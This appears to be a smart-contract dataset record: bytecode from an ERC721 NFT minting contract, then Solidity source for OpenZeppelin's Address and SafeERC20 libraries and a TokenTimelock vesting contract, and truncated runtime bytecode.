5061037d6112fb565b61037d61065436600461247b565b611331565b34801561066557600080fd5b50600a546001600160a01b0316610345565b34801561068357600080fd5b5061037d61069236600461247b565b6114a0565b3480156106a357600080fd5b506103186114cf565b3480156106b857600080fd5b5061037d6106c7366004612614565b6114de565b3480156106d857600080fd5b5061037d6106e7366004612650565b6114e9565b3480156106f857600080fd5b506013546102ee9060ff1681565b34801561071257600080fd5b506103a560115481565b34801561072857600080fd5b5061037d61073736600461247b565b611521565b34801561074857600080fd5b5061031861075736600461247b565b611550565b34801561076857600080fd5b506103186115a7565b34801561077d57600080fd5b506103a560165481565b34801561079357600080fd5b506103a56107a2366004612511565b600b6020526000908152604090205481565b3480156107c057600080fd5b506102ee6107cf3660046126cc565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561080957600080fd5b506103a560155481565b34801561081f57600080fd5b5061037d61082e3660046126ff565b6115b4565b34801561083f57600080fd5b5061037d61084e36600461247b565b611693565b34801561085f57600080fd5b5061037d61086e366004612511565b6116bd565b34801561087f57600080fd5b506103a5600c5481565b60006001600160e01b0319821663780e9d6360e01b14806108ae57506108ae82611755565b92915050565b6060600080546108c3906127ac565b80601f01602080910402602001604051908101604052809291908181526020018280546108ef906127ac565b801561093c5780601f106109115761010080835404028352916020019161093c565b820191906000526020600020905b81548152906001019060200180831161091f57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109c45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006109eb826110a6565b9050806001600160a01b0316836001600160a01b03161415610a595760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016109bb565b336001600160a01b0382161480610a755750610a7581336107cf565b610ae75760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016109bb565b610af183836117a5565b505050565b600a546001600160a01b03163314610b205760405162461bcd60e51b81526004016109bb906127e7565b601b805461ff001916610100179055565b600a546001600160a01b03163314610b5b5760405162461bcd60e51b81526004016109bb906127e7565b6019546001600160a01b03163314610bc55760405162461bcd60e51b815260206004820152602760248201527f546869732066756e6374696f6e20697320616e204f776e6572206f6e6c7920666044820152663ab731ba34b7b760c91b60648201526084016109bb565b600f55565b600a546001600160a01b03163314610bf45760405162461bcd60e51b81526004016109bb906127e7565b60135460ff1615610c6d5760405162461bcd60e51b815260206004820152603f60248201527f546869732066756e6374696f6e2063616e206f6e6c792062652072756e206f6e60448201527f63652c20616e642069742068617320616c7265616479206265656e2072756e0060648201526084016109bb565b610c7933601254611813565b6013805460ff19166001179055565b610c923382611969565b610cae5760405162461bcd60e51b81526004016109bb9061281c565b610af1838383611a60565b6014544210158015610ccd5750601b5460ff165b15610ce057601b805460ff191660011790555b601554421015610d325760405162461bcd60e51b815260206004820152601b60248201527f5075626c6963204d696e74206973206e6f74206f70656e20796574000000000060448201526064016109bb565b60008111610d825760405162461bcd60e51b815260206004820152601e60248201527f4d696e74206d7573742062652067726561746572207468616e207a65726f000060448201526064016109bb565b600d54610d8f9082612883565b3414610dd15760405162461bcd60e51b81526020600482015260116024820152700b2deea40dccacac840dadee4ca408aa89607b1b60448201526064016109bb565b610ddb3382611813565b50565b6000610de983611274565b8210610e4b5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016109bb565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610e9e5760405162461bcd60e51b81526004016109bb906127e7565b601980546001600160a01b0319166001600160a01b0392909216919091179055565b600a546001600160a01b03163314610eea5760405162461bcd60e51b81526004016109bb906127e7565b601b5462010000900460ff1615610f0057600080fd5b601b805462ff000019166201000017905560195460405147916000916001600160a01b039091169083908381818185875af1925050503d8060008114610f62576040519150601f19603f3d011682016040523d82523d6000602084013e610f67565b606091505b5050905080610faf5760405162461bcd60e51b81526020600482015260146024820152732330b4b632b2103a379039b2b7321032ba3432b960611b60448201526064016109bb565b5050601b805462ff000019169055565b610af1838383604051806020016040528060008152506114e9565b6000610fe560085490565b82106110485760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016109bb565b6008828154811061105b5761105b6128a2565b90600052602060002001549050919050565b600a546001600160a01b031633146110975760405162461bcd60e51b81526004016109bb906127e7565b601b805460ff19166001179055565b6000818152600260205260408120546001600160a01b0316806108ae5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016109bb565b600a546001600160a01b031633146111475760405162461bcd60e51b81526004016109bb906127e7565b60175460ff161561115757600080fd5b6017805460ff1916600117905561116d81611c0b565b60005b60085481116111e257807fa109ba539900bf1b633f956d63c96fc89b814c7287f7aa50a9216d0b5565720783836040516020016111ae9291906128b8565b60408051601f19818403018152908290526111c891612468565b60405180910390a2806111da816128e5565b915050611170565b5050565b601880546111f3906127ac565b80601f016020809104026020016040519081016040528092919081815260200182805461121f906127ac565b801561126c5780601f106112415761010080835404028352916020019161126c565b820191906000526020600020905b81548152906001019060200180831161124f57829003601f168201915b505050505081565b60006001600160a01b0382166112df5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016109bb565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146113255760405162461bcd60e51b81526004016109bb906127e7565b61132f6000611c48565b565b601454421015801561134a5750601b54610100900460ff165b1561135f57601b805461ff0019166101001790555b6014544210156113b15760405162461bcd60e51b815260206004820152601e60248201527f57686974656c697374204d696e74206973206e6f74206f70656e20796574000060448201526064016109bb565b600081116114015760405162461bcd60e51b815260206004820152601e60248201527f4d696e74206d7573742062652067726561746572207468616e207a65726f000060448201526064016109bb565b336000908152600b60205260409020548111156114715760405162461bcd60e51b815260206004820152602860248201527f43616e74206d696e74206d6f7265207468616e2072656d61696e696e6720616c6044820152673637b1b0ba34b7b760c11b60648201526084016109bb565b336000908152600b602052604081208054839290611490908490612900565b90915550610ddb90503382611813565b600a546001600160a01b031633146114ca5760405162461bcd60e51b81526004016109bb906127e7565b601655565b6060600180546108c3906127ac565b6111e2338383611c9a565b6114f33383611969565b61150f5760405162461bcd60e51b81526004016109bb9061281c565b61151b84848484611d69565b50505050565b600a546001600160a01b0316331461154b5760405162461bcd60e51b81526004016109bb906127e7565b600e55565b60175460609060ff161561159057601a61156983611d9c565b60405160200161157a9291906129b1565b6040516020818303038152906040529050919050565b601860405160200161157a91906129d6565b919050565b601a80546111f3906127ac565b600a546001600160a01b031633146115de5760405162461bcd60e51b81526004016109bb906127e7565b600081511161162f5760405162461bcd60e51b815260206004820181905260248201527f596f7520686176656e7420656e746572656420616e792061646472657373657360448201526064016109bb565b60005b81518110156111e257601154600b6000848481518110611654576116546128a2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061168b906128e5565b915050611632565b600a546001600160a01b03163314610dd15760405162461bcd60e51b81526004016109bb906127e7565b600a546001600160a01b031633146116e75760405162461bcd60e51b81526004016109bb906127e7565b6001600160a01b03811661174c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109bb565b610ddb81611c48565b60006001600160e01b031982166380ac58cd60e01b148061178657506001600160e01b03198216635b5e139f60e01b145b806108ae57506301ffc9a760e01b6001600160e01b03198316146108ae565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906117da826110a6565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600e548161182060085490565b61182a91906129e2565b111561189e5760405162461bcd60e51b815260206004820152603a60248201527f416c6c206f66204d6f6e6b65797320617265206f757420696e2074686520436f60448201527f736d6f20616e6420736f2077652061726520736f6c64206f757400000000000060648201526084016109bb565b600f548111156118fe5760405162461bcd60e51b815260206004820152602560248201527f4d6178206d696e7420616d6f756e742069732036204d6f6e6b6579732070657260448201526408135a5b9d60da1b60648201526084016109bb565b60005b81811015610af157600061191460085490565b90506119208482611e9a565b60405181906001600160a01b038616907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688590600090a35080611961816128e5565b915050611901565b6000818152600260205260408120546001600160a01b03166119e25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016109bb565b60006119ed836110a6565b9050806001600160a01b0316846001600160a01b03161480611a285750836001600160a01b0316611a1d84610946565b6001600160a01b0316145b80611a5857506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611a73826110a6565b6001600160a01b031614611adb5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016109bb565b6001600160a01b038216611b3d5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016109bb565b611b48838383611fe8565b611b536000826117a5565b6001600160a01b0383166000908152600360205260408120805460019290611b7c908490612900565b90915550506001600160a01b0382166000908152600360205260408120805460019290611baa9084906129e2565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a546001600160a01b03163314611c355760405162461bcd60e51b81526004016109bb906127e7565b80516111e290601a90602084019061233d565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b03161415611cfc5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016109bb565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611d74848484611a60565b611d80848484846120a0565b61151b5760405162461bcd60e51b81526004016109bb906129fa565b606081611dc05750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611dea5780611dd4816128e5565b9150611de39050600a83612a62565b9150611dc4565b60008167ffffffffffffffff811115611e0557611e0561252c565b6040519080825280601f01601f191660200182016040528015611e2f576020820181803683370190505b5090505b8415611a5857611e44600183612900565b9150611e51600a86612a76565b611e5c9060306129e2565b60f81b818381518110611e7157611e716128a2565b60200101906001600160f81b031916908160001a905350611e93600a86612a62565b9450611e33565b6001600160a01b038216611ef05760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016109bb565b6000818152600260205260409020546001600160a01b031615611f555760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016109bb565b611f6160008383611fe8565b6001600160a01b0382166000908152600360205260408120805460019290611f8a9084906129e2565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6001600160a01b0383166120435761203e81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612066565b816001600160a01b0316836001600160a01b0316146120665761206683826121ad565b6001600160a01b03821661207d57610af18161224a565b826001600160a01b0316826001600160a01b031614610af157610af182826122f9565b60006001600160a01b0384163b156121a257604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906120e4903390899088908890600401612a8a565b602060405180830381600087803b1580156120fe57600080fd5b505af192505050801561212e575060408051601f3d908101601f1916820190925261212b91810190612ac7565b60015b612188573d80801561215c576040519150601f19603f3d011682016040523d82523d6000602084013e612161565b606091505b5080516121805760405162461bcd60e51b81526004016109bb906129fa565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611a58565b506001949350505050565b600060016121ba84611274565b6121c49190612900565b600083815260076020526040902054909150808214612217576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061225c90600190612900565b60008381526009602052604081205460088054939450909284908110612284576122846128a2565b9060005260206000200154905080600883815481106122a5576122a56128a2565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806122dd576122dd612ae4565b6001900381819060005260206000200160009055905550505050565b600061230483611274565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b828054612349906127ac565b90600052602060002090601f01602090048101928261236b57600085556123b1565b82601f1061238457805160ff19168380011785556123b1565b828001600101855582156123b1579182015b828111156123b1578251825591602001919060010190612396565b506123bd9291506123c1565b5090565b5b808211156123bd57600081556001016123c2565b6001600160e01b031981168114610ddb57600080fd5b6000602082840312156123fe57600080fd5b8135612409816123d6565b9392505050565b60005b8381101561242b578181015183820152602001612413565b8381111561151b5750506000910152565b60008151808452612454816020860160208601612410565b601f01601f19169290920160200192915050565b602081526000612409602083018461243c565b60006020828403121561248d57600080fd5b5035919050565b80356001600160a01b03811681146115a257600080fd5b600080604083850312156124be57600080fd5b6124c783612494565b946020939093013593505050565b6000806000606084860312156124ea57600080fd5b6124f384612494565b925061250160208501612494565b9150604084013590509250925092565b60006020828403121561252357600080fd5b61240982612494565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561256b5761256b61252c565b604052919050565b600067ffffffffffffffff83111561258d5761258d61252c565b6125a0601f8401601f1916602001612542565b90508281528383830111156125b457600080fd5b828260208301376000602084830101529392505050565b6000602082840312156125dd57600080fd5b813567ffffffffffffffff8111156125f457600080fd5b8201601f8101841361260557600080fd5b611a5884823560208401612573565b6000806040838503121561262757600080fd5b61263083612494565b91506020830135801515811461264557600080fd5b809150509250929050565b6000806000806080858703121561266657600080fd5b61266f85612494565b935061267d60208601612494565b925060408501359150606085013567ffffffffffffffff8111156126a057600080fd5b8501601f810187136126b157600080fd5b6126c087823560208401612573565b91505092959194509250565b600080604083850312156126df57600080fd5b6126e883612494565b91506126f660208401612494565b90509250929050565b6000602080838503121561271257600080fd5b823567ffffffffffffffff8082111561272a57600080fd5b818501915085601f83011261273e57600080fd5b8135818111156127505761275061252c565b8060051b9150612761848301612542565b818152918301840191848101908884111561277b57600080fd5b938501935b838510156127a05761279185612494565b82529385019390850190612780565b98975050505050505050565b600181811c908216806127c057607f821691505b602082108114156127e157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561289d5761289d61286d565b500290565b634e487b7160e01b600052603260045260246000fd5b600083516128ca818460208801612410565b602f60f81b9201918252506001810191909152602101919050565b60006000198214156128f9576128f961286d565b5060010190565b6000828210156129125761291261286d565b500390565b8054600090600181811c908083168061293157607f831692505b602080841082141561295357634e487b7160e01b600052602260045260246000fd5b8180156129675760018114612978576129a5565b60ff198616895284890196506129a5565b60008881526020902060005b8681101561299d5781548b820152908501908301612984565b505084890196505b50505050505092915050565b60006129bd8285612917565b83516129cd818360208801612410565b01949350505050565b60006124098284612917565b600082198211156129f5576129f561286d565b500190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b600082612a7157612a71612a4c565b500490565b600082612a8557612a85612a4c565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612abd9083018461243c565b9695505050505050565b600060208284031215612ad957600080fd5b8151612409816123d6565b634e487b7160e01b600052603160045260246000fdfea264697066735822122069ff9e33f318e19e21006aa2157b90e0e210de152d79d111638a904132b66c8464736f6c63430008090033
[ 13, 5 ]
0xF25aC54d630d0172c20bdf803a01C08c2a9aeaAd
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.8.0; /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private immutable _token; // beneficiary of tokens after they are released address private immutable _beneficiary; // timestamp when token release is enabled uint256 private immutable _releaseTime; constructor( IERC20 token_, address beneficiary_, uint256 releaseTime_ ) { require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time"); _token = token_; _beneficiary = beneficiary_; _releaseTime = releaseTime_; } /** * @return the token being held. */ function token() public view virtual returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view virtual returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view virtual returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time"); uint256 amount = token().balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); token().safeTransfer(beneficiary(), amount); } function getLockedAmount() public view virtual returns (uint256) { uint256 amount = token().balanceOf(address(this)); return amount; } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063252bc8861461005c57806338af3eed1461007a57806386d1a69f14610098578063b91d4001146100a2578063fc0c546a146100c0575b600080fd5b6100646100de565b6040516100719190610944565b60405180910390f35b61008261017a565b60405161008f9190610823565b60405180910390f35b6100a06101a2565b005b6100aa6102ff565b6040516100b79190610944565b60405180910390f35b6100c8610327565b6040516100d59190610867565b60405180910390f35b6000806100e9610327565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101219190610823565b60206040518083038186803b15801561013957600080fd5b505afa15801561014d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101719190610699565b90508091505090565b60007f000000000000000000000000ff50c64c909e70f2f5fb72e4c6274ca9bfd7cbd9905090565b6101aa6102ff565b4210156101ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e3906108a4565b60405180910390fd5b60006101f6610327565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161022e9190610823565b60206040518083038186803b15801561024657600080fd5b505afa15801561025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027e9190610699565b9050600081116102c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102ba90610924565b60405180910390fd5b6102fc6102ce61017a565b826102d7610327565b73ffffffffffffffffffffffffffffffffffffffff1661034f9092919063ffffffff16565b50565b60007f00000000000000000000000000000000000000000000000000000000626d4ef0905090565b60007f000000000000000000000000aa2d8c9a8bd0f7945143bfd509be3ff23dd78918905090565b6103d08363a9059cbb60e01b848460405160240161036e92919061083e565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506103d5565b505050565b6000610437826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661049c9092919063ffffffff16565b90506000815111156104975780806020019051810190610457919061066c565b610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90610904565b60405180910390fd5b5b505050565b60606104ab84846000856104b4565b90509392505050565b6060824710156104f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f0906108c4565b60405180910390fd5b610502856105c8565b610541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610538906108e4565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161056a919061080c565b60006040518083038185875af1925050503d80600081146105a7576040519150601f19603f3d011682016040523d82523d6000602084013e6105ac565b606091505b50915091506105bc8282866105db565b92505050949350505050565b600080823b905060008111915050919050565b606083156105eb5782905061063b565b6000835111156105fe5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106329190610882565b60405180910390fd5b9392505050565b60008151905061065181610bbd565b92915050565b60008151905061066681610bd4565b92915050565b60006020828403121561068257610681610a42565b5b600061069084828501610642565b91505092915050565b6000602082840312156106af576106ae610a42565b5b60006106bd84828501610657565b91505092915050565b6106cf81610991565b82525050565b60006106e08261095f565b6106ea8185610975565b93506106fa818560208601610a0f565b80840191505092915050565b61070f816109d9565b82525050565b60006107208261096a565b61072a8185610980565b935061